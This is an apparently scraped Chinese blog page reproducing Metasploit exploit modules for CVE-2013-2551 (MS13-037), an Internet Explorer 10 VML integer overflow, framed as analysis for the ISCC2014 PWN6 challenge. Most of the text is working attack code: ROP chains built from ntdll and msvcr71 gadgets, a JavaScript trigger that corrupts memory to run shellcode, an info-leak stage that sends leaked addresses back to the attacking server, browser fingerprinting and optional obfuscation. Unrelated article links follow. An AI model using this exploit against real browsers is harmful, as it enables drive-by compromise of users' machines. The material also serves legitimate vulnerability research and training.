  365. </title>
  366. <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
  367. <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
  368. <script>
  369. #{js_trigger}
  370. </script>
  371. <body onload="#{create_rects_func}(); #{exploit_func}();">
  372. <v:oval>
  373. <v:stroke id="vml1"/>
  374. </v:oval>
  375. </body>
  376. </html>
  377.     |
  378.  
  379.     return html
  380.  
  381.   end
  382.  
  383.   def get_target(agent)
  384.     #If the user is already specified by the user, we'll just use that
  385.     return target if target.name != 'Automatic'
  386.  
  387.     nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  388.     ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
  389.  
  390.     ie_name = "IE #{ie}"
  391.  
  392.     case nt
  393.     when '5.1'
  394.       os_name = 'Windows XP SP3'
  395.     when '6.0'
  396.       os_name = 'Windows Vista'
  397.     when '6.1'
  398.       os_name = 'Windows 7'
  399.     end
  400.  
  401.     targets.each do |t|
  402.       if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
  403.         print_status("Target selected as: #{t.name}")
  404.         return t
  405.       end
  406.     end
  407.  
  408.     return nil
  409.   end
  410.  
  411.   def on_request_uri(cli, request)
  412.     agent = request.headers['User-Agent']
  413.     uri   = request.uri
  414.     print_status("Requesting: #{uri}")
  415.  
  416.     my_target = get_target(agent)
  417.     # Avoid the attack if no suitable target found
  418.     if my_target.nil?
  419.       print_error("Browser not supported, sending 404: #{agent}")
  420.       send_not_found(cli)
  421.       return
  422.     end
  423.  
  424.     if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
  425.       html = html_info_leak
  426.       html = html.gsub(/^\t\t/, '')
  427.       print_status("Sending HTML to info leak...")
  428.       send_response(cli, html, {'Content-Type'=>'text/html'})
  429.     else
  430.       leak = begin
  431.         request.uri_parts["QueryString"][@leak_param].to_i
  432.       rescue
  433.       end
  434.  
  435.       # Use JRE1.6 to exploit it.
  436.       if leak == 0
  437.         html = load_exploit_html(my_target, cli)
  438.         html = html.gsub(/^\t\t/, '')
  439.         print_status("Sending HTML to trigger(Use JRE1.6)...")
  440.         send_response(cli, html, {'Content-Type'=>'text/html'})
  441.         return
  442.       end
  443.  
  444.       # Use Ntdll to exploit it.
  445.       print_status("ntdll leak: 0x#{leak.to_s(16)}")
  446.       fingerprint = leak & 0x0000ffff
  447.  
  448.       case fingerprint
  449.       when 0x70B0
  450.         @ntdll_version = "6.1.7601.17514"
  451.         @ntdll_base = leak - 0x470B0
  452.       when 0x7090
  453.         @ntdll_version = "6.1.7601.17725" # MS12-001
  454.         @ntdll_base = leak - 0x47090
  455.       else
  456.         print_error("ntdll version not detected, sending 404: #{agent}")
  457.         send_not_found(cli)
  458.         return
  459.       end
  460.  
  461.       html = load_exploit_html(my_target, cli)
  462.       html = html.gsub(/^\t\t/, '')
  463.       print_status("Sending HTML to trigger(Use Ntdll)...")
  464.       send_response(cli, html, {'Content-Type'=>'text/html'})
  465.  
  466.     end
  467.  
  468.   end
  469.  
  470. end

7.3. CVE-2013-2551_MS13-037(IE10noHeapSpray).rb

  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. #   http://metasploit.com/framework/
  6. ##
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit3 < Msf::Exploit::Remote
  11.   Rank = NormalRanking
  12.  
  13.   include Msf::Exploit::Remote::HttpServer::HTML
  14.   include Msf::Exploit::RopDb
  15.   include Msf::Exploit::Remote::BrowserAutopwn
  16.  
  17.   autopwn_info({
  18.     :ua_name    => HttpClients::IE,
  19.     :ua_minver  => "10.0",
  20.     :ua_maxver  => "10.0",
  21.     :javascript => true,
  22.     :os_name    => OperatingSystems::WINDOWS,
  23.     :rank       => Rank
  24.   })
  25.  
  26.   def initialize(info={})
  27.     super(update_info(info,
  28.       'Name'           => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
  29.       'Description'    => %q{
  30.           This module exploits an integer overflow vulnerability on Internet Explorer.
  31.         The vulnerability exists in the handling of the dashstyle.array length for vml
  32.         shapes on the vgx.dll module. This module has been tested successfully on Windows 7
  33.         SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target
  34.         to use an info leak to disclose the ntdll.dll base address is provided. This target
  35.         requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
  36.         installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
  37.       },
  38.       'License'        => MSF_LICENSE,
  39.       'Author'         =>
  40.         [
  41.           'Nicolas Joly', # Vulnerability discovery, PoC and analysis
  42.           'Danny (modified from Nicolas Joly)', # PoC
  43.           'juan vazquez' # Metasploit module
  44.         ],
  45.       'References'     =>
  46.         [
  47.           [ 'CVE', '2013-2551' ],
  48.           [ 'OSVDB', '' ],
  49.           [ 'BID', '' ],
  50.           [ 'MSB', 'MS13-037' ],
  51.           [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
  52.           [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
  53.         ],
  54.       'Payload'        =>
  55.         {
  56.           'Space'          => 948,
  57.           'DisableNops'    => true,
  58.           'BadChars'       => "\x00",
  59.           'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  60.         },
  61.       'DefaultOptions'  =>
  62.         {
  63.           'InitialAutoRunScript' => 'migrate -f'
  64.         },
  65.       'Platform'       => 'win',
  66.       'Targets'        =>
  67.         [
  68.           [ 'Automatic', {} ],
  69.           [ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default
  70.             {
  71.               'Rop' => :jre,
  72.               'Offset' => '0x5f4'
  73.             }
  74.           ],
  75.           # requires:
  76.           # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
  77.           # * ntdll.dll v6.1.7601.17725 (MS12-001)
  78.           [ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak',
  79.             {
  80.               'Rop' => :ntdll,
  81.               'Offset' => '0x5f4'
  82.             }
  83.           ]
  84.         ],
  85.       'Privileged'     => false,
  86.       'DisclosureDate' => "Mar 06 2013",
  87.       'DefaultTarget'  => 0))
  88.  
  89.     register_options(
  90.       [
  91.         OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  92.       ], self.class)
  93.  
  94.   end
  95.  
  96.   def exploit
  97.     @second_stage_url = rand_text_alpha(10)
  98.     @leak_param = rand_text_alpha(5)
  99.     super
  100.   end
  101.  
  102. ###############################
  103.  
  104. #    edi -> ZwProtectVirtualMemory
  105. #    esi -> return address
  106. #    ebp -> 0xffffffff
  107. #    esp -> ptr to BaseAddress
  108. #    ebx -> ptr to NumberOfBytesToProtect
  109. #    edx -> 0x00000040
  110. #    ecx -> ptr to OldAccessProtection
  111.  
  112.   def get_ntdll_rop
  113.     case @ntdll_version
  114.     when "6.1.7601.17514"
  115.       stack_pivot = [
  116.         @ntdll_base+0x0001578a, # ret # from ntdll
  117.         @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
  118.         @ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll]
  119.       ].pack("V*")
  120.       ntdll_rop = [
  121.         @ntdll_base+0x0006e388,        # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C    (move esp -> esi)
  122.         0x00010400,                    # NumberOfBytesToProtect
  123.         @ntdll_base+0x00089d85,        # XCHG EAX,ESI # RETN    (move esi -> eax)
  124.         0x90909090,
  125.         0x90909090,
  126.         0x90909090,
  127.         @ntdll_base+0x0001dd9f,        # XCHG EAX,EBX # ADD EAX,DWORD PTR [EAX] # RETN 0x18    (move eax -> ebx)    [ebx -> ptr to NumberOfBytesToProtect]
  128.         @ntdll_base+0x00005922,        # RETN
  129.         0x90909090,
  130.         0x90909090,
  131.         0x90909090,
  132.         0x90909090,
  133.         0x90909090,
  134.         0x90909090,
  135.         @ntdll_base+0x0006e388,        # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C    (move esp -> esi)
  136.         0x41414141,                    # OldAccessProtection
  137.         @ntdll_base+0x00089d85,        # XCHG EAX,ESI # RETN    (move esi -> eax)
  138.         0x90909090,
  139.         0x90909090,
  140.         0x90909090,
  141.         @ntdll_base+0x00060549,        # XCHG EAX,ECX # RETN    (move eax -> ecx)    [ecx -> ptr to OldAccessProtection]
  142.         @ntdll_base+0x000ce8fe,        # PUSH ESP # XOR DL,BYTE PTR [EAX] # POP EBP # RETN 0x04    (move esp -> ebp)
  143.         @ntdll_base+0x000ab623,        # XCHG EAX,EBP # RETN    (move ebp -> eax)        EEEEESSSSPPPPP
  144.         0x90909090,
  145.         @ntdll_base+0x00057dc2,        # ADD EAX,20 # RETN
  146.         @ntdll_base+0x00057dc2,        # ADD EAX,20 # RETN
  147.         @ntdll_base+0x00057dc2,        # ADD EAX,20 # RETN
  148.         @ntdll_base+0x00057dc2,        # ADD EAX,20 # RETN            0x80 / 4 = 0x20(32)
  149.         @ntdll_base+0x0005dde3,        # MOV DWORD PTR [EAX],EAX # POP ESI # POP EBP # RETN 0x04    [BaseAddress]
  150.         0x90909090,
  151.         0x90909090,
  152.         @ntdll_base+0x00035508,        # ADD EAX,1 # RETN
  153.         0x90909090,
  154.         @ntdll_base+0x00035508,        # ADD EAX,1 # RETN
  155.         @ntdll_base+0x00035508,        # ADD EAX,1 # RETN
  156.         @ntdll_base+0x00035508,        # ADD EAX,1 # RETN
  157.         @ntdll_base+0x00089d85,        # XCHG EAX,ESI # RETN     [esi -> return addrsss]
  158.         @ntdll_base+0x0009a30c,        # pop eax # retn
  159.         0xFA3DFA7F,
  160.         @ntdll_base+0x0003ab39,        # add eax,5C205C1 # retn
  161.         @ntdll_base+0x00036d70,        # xchg eax,edx # retn    [edx -> 0x00000040]
  162.         @ntdll_base+0x00047643,     # pop edi # retn    [edi -> ZwProtectVirtualMemory]
  163.         @ntdll_base+0x00045F18,     # ntdll!ZwProtectVirtualMemory
  164.         @ntdll_base+0x000cb72a,        # pop ebp # retn    [ebp -> 0xffffffff]
  165.         0xffffffff,                    # ProcessHandle
  166.         @ntdll_base+0x00005922,        # RETN
  167.         @ntdll_base+0x00005922,        # RETN
  168.         @ntdll_base+0x00005922,        # RETN
  169.         @ntdll_base+0x00005922,        # RETN
  170.         @ntdll_base+0x00005922,        # RETN
  171.         @ntdll_base+0x00005922,        # RETN
  172.         @ntdll_base+0x00005922,        # RETN
  173.         @ntdll_base+0x00005922,        # RETN
  174.         @ntdll_base+0x000227c4,        # PUSHAD # RETN        eax ecx edx ebx esp(original) ebp esi edi
  175.         0x90909090,
  176.       ].pack("V*")
  177.       return stack_pivot + ntdll_rop
  178.     when "6.1.7601.17725"        # 未构造
  179.       stack_pivot = [
  180.         @ntdll_base+0x0001579a, # ret # from ntdll
  181.         @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
  182.         @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
  183.       ].pack("V*")
  184.       ntdll_rop = [
  185.         @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
  186.         0x0c0c0c40, # ret to shellcode
  187.         0xffffffff, # ProcessHandle
  188.         0x0c0c0c34, # ptr to BaseAddress
  189.         0x0c0c0c38, # ptr to NumberOfBytesToProtect
  190.         0x00000040, # NewAccessProtection
  191.         0x0c0c0c3c, # ptr to OldAccessProtection
  192.         0x0c0c0c40, # BaseAddress
  193.         0x00000400, # NumberOfBytesToProtect
  194.         0x41414141  # OldAccessProtection
  195.       ].pack("V*")
  196.       return stack_pivot + ntdll_rop
  197.     else
  198.       return ""
  199.     end
  200.   end
  201.  
  202.   def get_payload(t, cli)
  203.     code = payload.encoded
  204.     # No rop. Just return the payload.
  205.     return code if t['Rop'].nil?
  206.  
  207.     # Both ROP chains generated by mona.py - See corelan.be
  208.     case t['Rop']
  209.     when :jre
  210.       print_status("Using JRE ROP")
  211.       stack_pivot = [
  212.         0x7c348b06, # ret # from msvcr71
  213.         0x7c341748, # pop ebx # ret # from msvcr71
  214.         0x7c348b05  # xchg eax, esp # ret from msvcr71
  215.       ].pack("V*")
  216.       rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
  217.     when :ntdll
  218.       print_status("Using ntdll ROP")
  219.       rop_payload = get_ntdll_rop + code
  220.     end
  221.  
  222.     return rop_payload
  223.   end
  224.  
  225.   def load_exploit_html(my_target, cli)
  226.     p  = get_payload(my_target, cli)
  227.  
  228.     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  229.     js_ntdllBase = @ntdll_base
  230.  
  231.     js_trigger = %Q|
  232.  
  233.     var rect_array = new Array();
  234.     var a = new Array();
  235.     var ntdllBase = #{js_ntdllBase};
  236.  
  237. function createRects(){
  238.  
  239.   for(var i=0; i<0x1000; i++){
  240.     rect_array[i]    = document.createElement("v:shape")
  241.     rect_array[i].id = "rect" + i.toString()
  242.     document.body.appendChild(rect_array[i])
  243.   }
  244.  
  245. }
  246.  
  247. function exploit(){
  248.  
  249.     // leak the address of shellcode
  250.     var vml2 = document.getElementById("vml2")
  251.     var i = 0
  252.  
  253.     for (i=0; i<0x400; i++){
  254.         a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  255.     }
  256.  
  257.     for (i=0; i<0x400; i++){
  258.         a[i].rotation;
  259.         if (i == 0x300) {
  260.             vml2.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
  261.         }
  262.     }
  263.  
  264.     var length_orig = vml2.dashstyle.array.length;
  265.     vml2.dashstyle.array.length = 0 - 1;
  266.     var marginLeftAddress;
  267.  
  268.     for (i=0; i<0x400; i++)
  269.     {
  270.         a[i].marginLeft = unescape("#{js_code}");
  271.         marginLeftAddress = vml2.dashstyle.array.item(0x2E+0x16);
  272.         if (marginLeftAddress > 0) {
  273.             vml2.dashstyle.array.length = length_orig;
  274.             break;
  275.         }
  276.     }
  277.  
  278.     // trigger
  279.     var j = 0x400
  280.     var vml1 = document.getElementById("vml1")
  281.  
  282.     for (j=0x400; j<0x800; j++){
  283.         a[j] = document.getElementById("rect" + j.toString())._anchorRect;
  284.         if (j == 0x700) {
  285.             vml1.dashstyle = "1 2 3 4"
  286.         }
  287.     } 
  288.  
  289.     //length_orig = vml1.dashstyle.array.length;
  290.     vml1.dashstyle.array.length = 0 - 1;
  291.     vml1.dashstyle.array.item(6) = marginLeftAddress;        // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2)
  292.     vml1.dashstyle.array.item(8) = marginLeftAddress;        // ebx
  293.     vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d;        // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN
  294.     vml1.dashstyle.array.length = length_orig ;
  295.  
  296.     //for (j=0x400; j<0x800; j++)
  297.     {
  298.         delete a[0x701];
  299.         CollectGarbage();
  300.     }
  301.     location.reload();
  302.  
  303. }
  304.     |
  305.  
  306.     create_rects_func = "createRects"
  307.     exploit_func = "exploit"
  308.  
  309.     if datastore['OBFUSCATE']
  310.       js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
  311.       js_trigger.obfuscate
  312.       create_rects_func = js_trigger.sym("createRects")
  313.       exploit_func = js_trigger.sym("exploit")
  314.     end
  315.  
  316.     html = %Q|
  317. <html>
  318. <head>
  319. <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
  320. </head>
  321.  
  322. <title>
  323. </title>
  324.  
  325. <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
  326.  
  327. <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
  328.  
  329. <script>
  330. #{js_trigger}
  331. </script>
  332.  
  333. <body onload="#{create_rects_func}(); #{exploit_func}();">
  334. <div id="blah"></div>
  335. <v:oval>
  336. <v:stroke id="vml1"/>
  337. </v:oval>
  338. <v:oval>
  339. <v:stroke id="vml2"/>
  340. </v:oval>
  341. </body>
  342.  
  343. </html>
  344.     |
  345.  
  346.     return html
  347.   end
  348.  
  349.   def html_info_leak
  350.  
  351.     js_trigger = %Q|
  352.     var rect_array = new Array()
  353.     var a = new Array()
  354.  
  355. function createRects(){
  356.   for(var i=0; i<0x400; i++){
  357.     rect_array[i]    = document.createElement("v:shape")
  358.     rect_array[i].id = "rect" + i.toString()
  359.     document.body.appendChild(rect_array[i])
  360.   }
  361. }
  362.  
  363. function exploit(){
  364.  
  365.   var vml1  = document.getElementById("vml1")
  366.  
  367.   for (var i=0; i<0x400; i++){
  368.     a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  369.   }
  370.  
  371.   for (var i=0; i<0x400; i++){
  372.     a[i].rotation;
  373.     if (i == 0x300) {
  374.       vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
  375.     }
  376.   }
  377.  
  378.   var length_orig = vml1.dashstyle.array.length;
  379.   vml1.dashstyle.array.length = 0 - 1;
  380.  
  381.   for (var i=0; i<0x400; i++)
  382.   {
  383.     a[i].marginLeft = "a";
  384.     marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
  385.     if (marginLeftAddress > 0) {
  386.       vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
  387.       var leak = a[i].marginLeft;
  388.       vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
  389.       vml1.dashstyle.array.length = length_orig;
  390.       document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
  391.       return;
  392.     }
  393.   }
  394.  
  395. }
  396.     |
  397.  
  398.     create_rects_func = "createRects"
  399.     exploit_func = "exploit"
  400.  
  401.     if datastore['OBFUSCATE']
  402.       js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
  403.       js_trigger.obfuscate
  404.       create_rects_func = js_trigger.sym("createRects")
  405.       exploit_func = js_trigger.sym("exploit")
  406.     end
  407.  
  408.     html = %Q|
  409. <html>
  410. <head>
  411. <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
  412. </head>
  413. <title>
  414. </title>
  415. <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
  416. <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
  417. <script>
  418. #{js_trigger}
  419. </script>
  420. <body onload="#{create_rects_func}(); #{exploit_func}();">
  421. <v:oval>
  422. <v:stroke id="vml1"/>
  423. </v:oval>
  424. </body>
  425. </html>
  426.     |
  427.  
  428.     return html
  429.  
  430.   end
  431.  
  432.   def get_target(agent)
  433.     #If the user is already specified by the user, we'll just use that
  434.     return target if target.name != 'Automatic'
  435.  
  436.     nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  437.     ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
  438.  
  439.     ie_name = "IE #{ie}"
  440.  
  441.     case nt
  442.     when '5.1'
  443.       os_name = 'Windows XP SP3'
  444.     when '6.0'
  445.       os_name = 'Windows Vista'
  446.     when '6.1'
  447.       os_name = 'Windows 7'
  448.     end
  449.  
  450.     targets.each do |t|
  451.       if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
  452.         print_status("Target selected as: #{t.name}")
  453.         return t
  454.       end
  455.     end
  456.  
  457.     return nil
  458.   end
  459.  
  460.   def on_request_uri(cli, request)
  461.     agent = request.headers['User-Agent']
  462.     uri   = request.uri
  463.     print_status("Requesting: #{uri}")
  464.  
  465.     my_target = get_target(agent)
  466.     # Avoid the attack if no suitable target found
  467.     if my_target.nil?
  468.       print_error("Browser not supported, sending 404: #{agent}")
  469.       send_not_found(cli)
  470.       return
  471.     end
  472.  
  473.     if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
  474.       html = html_info_leak
  475.       html = html.gsub(/^\t\t/, '')
  476.       print_status("Sending HTML to info leak...")
  477.       send_response(cli, html, {'Content-Type'=>'text/html'})
  478.     else
  479.       leak = begin
  480.         request.uri_parts["QueryString"][@leak_param].to_i
  481.       rescue
  482.       end
  483.  
  484.       # Use JRE1.6 to exploit it.
  485.       if leak == 0
  486.         html = load_exploit_html(my_target, cli)
  487.         html = html.gsub(/^\t\t/, '')
  488.         print_status("Sending HTML to trigger(Use JRE1.6)...")
  489.         send_response(cli, html, {'Content-Type'=>'text/html'})
  490.         return
  491.       end
  492.  
  493.       # Use Ntdll to exploit it.
  494.       print_status("ntdll leak: 0x#{leak.to_s(16)}")
  495.       fingerprint = leak & 0x0000ffff
  496.  
  497.       case fingerprint
  498.       when 0x70B0
  499.         @ntdll_version = "6.1.7601.17514"
  500.         @ntdll_base = leak - 0x470B0
  501.       when 0x7090
  502.         @ntdll_version = "6.1.7601.17725" # MS12-001
  503.         @ntdll_base = leak - 0x47090
  504.       else
  505.         print_error("ntdll version not detected, sending 404: #{agent}")
  506.         send_not_found(cli)
  507.         return
  508.       end
  509.  
  510.       html = load_exploit_html(my_target, cli)
  511.       html = html.gsub(/^\t\t/, '')
  512.       print_status("Sending HTML to trigger(Use Ntdll)...")
  513.       send_response(cli, html, {'Content-Type'=>'text/html'})
  514.  
  515.     end
  516.  
  517.   end
  518.  
  519. end

CVE-2013-2551漏洞成因与利用分析（ISCC2014 PWN6）的更多相关文章

  1. CVE-2014-0322漏洞成因与利用分析

    CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了 ...

  2. CVE-2013-3897漏洞成因与利用分析

    CVE-2013-3897漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对 ...

  3. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  4. Lib之过？Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  5. CVE-2014-0321漏洞成因分析

    1. 简介 最近在补之前落下的想学的东西,古河之前已经在微薄里面公布了此漏洞的poc及利用思路,不过在看古河的文章前我先独立分析一下其漏洞成因,记录下自己的分析流程. 2. 实验环境 操作系统:Win ...

  6. Office高级威胁漏洞在野利用分析

    高级威胁漏洞背景 在高级威胁攻击中,黑客远程投递入侵客户端最喜欢的漏洞是office文档漏洞,就在刚刚结束不久的黑帽子大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是时下o ...

  7. CVE-2015-3864漏洞利用分析(exploit_from_google)

    title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...

  8. 干货|微软远程桌面服务蠕虫漏洞（CVE-2019-1182）分析

    2019年8月,微软发布了一套针对远程桌面服务的修复程序,其中包括两个关键的远程执行代码(RCE)漏洞,CVE-2019-1181和CVE-2019-1182.与之前修复的"BlueKeep ...

  9. CVE-2015-0057 POC构造 & 利用分析(2015.7)

    CVE-2015-0057 POC构造 & 利用分析 主要内容: 构造POC 利用思路 0x00 初探 从这篇文章可以获知: 1.问题出在 win32k!xxxEnableWndSBArrow ...

随机推荐

  1. Druid连接池（三）

    十二.Druid缓存 连接Oracle数据库,打开PSCache,在其他的数据库连接池都会存在内存占用过多的问题,Druid是唯一解决这个问题的连接池. Oracle数据库下PreparedState ...

  2. 动态创建table表格页面出现undefined原因以及修改

    源代码: var html: if(lists) { html += '<a href="https://www.4001149114.com/NLJJ/member/sharecel ...

  3. nodejs zip压缩版安装与配置

    Node.js 1.下载 下载地址:https://nodejs.org/zh-cn/download/ 选择相应的版本下载 2.解压缩 将文件解压到要安装的位置,并新建两个目录 node-globa ...

  4. C#学习之文件操作

    1 DirectoryInfo 类介绍   DirectoryInfo 类在 .net 开发中主要用于创建.移动和枚举目录和子目录的实例方法,此类不能被继承. 从事 .net 软件开发的同事对 Dir ...

  5. for in可遍历原型链上扩展的属性，Object.keys() 只遍历自身属性

    一.for in 1.使用 for in 循环遍历对象的属性时,原型链上的所有属性都将被访问: Object.prototype.say="cgl"; // 修改Object.pr ...

  6. Ionic项目中如何使用Native Camera

    本文介绍如何在ionic项目中使用设备的camera. Ionic版本:v3.2.0 / 2017-05-10 / MIT Licensed / Release Notes ============= ...

  7. C# WPF打包部署时添加注册表信息实现开机启动

    使用VS自带的打包模块可以很方便的对项目进行打包部署,同时我们也可以在安装部署时操作注册表实现开机启动软件.具体实现如下: 创建安装部署这部分就不用说了,添加安装部署项目后,鼠标右键安装项目-> ...

  8. mysql 中文乱码 解决

    数据库安装设置编码: mysql默认的字符编码是latin1,而我用的是utf-8,存入数据库就变成了?????这样的乱码,解决方法:   修改安装路径下的my.ini文件,default-chara ...

  9. Eureka Server项目启动报错处理

    Eureka Server项目启动报错处理 Eureka是一个服务发现组件,提供服务注册.发现等注册中心功能,使用spring boot启动eureka应用时出现报错: 20:36:17.646 [r ...

  10. MyEclipse中更改JRE环境

    今天代码中需要用到λ表达式,但λ表达式需要JRE1.8的支持,而MyEclipse设置的默认JRE是1.7.为了是程序能够顺利通过编译,需要将MyEclipse的JRE由1.7转换为1.8.步骤如下: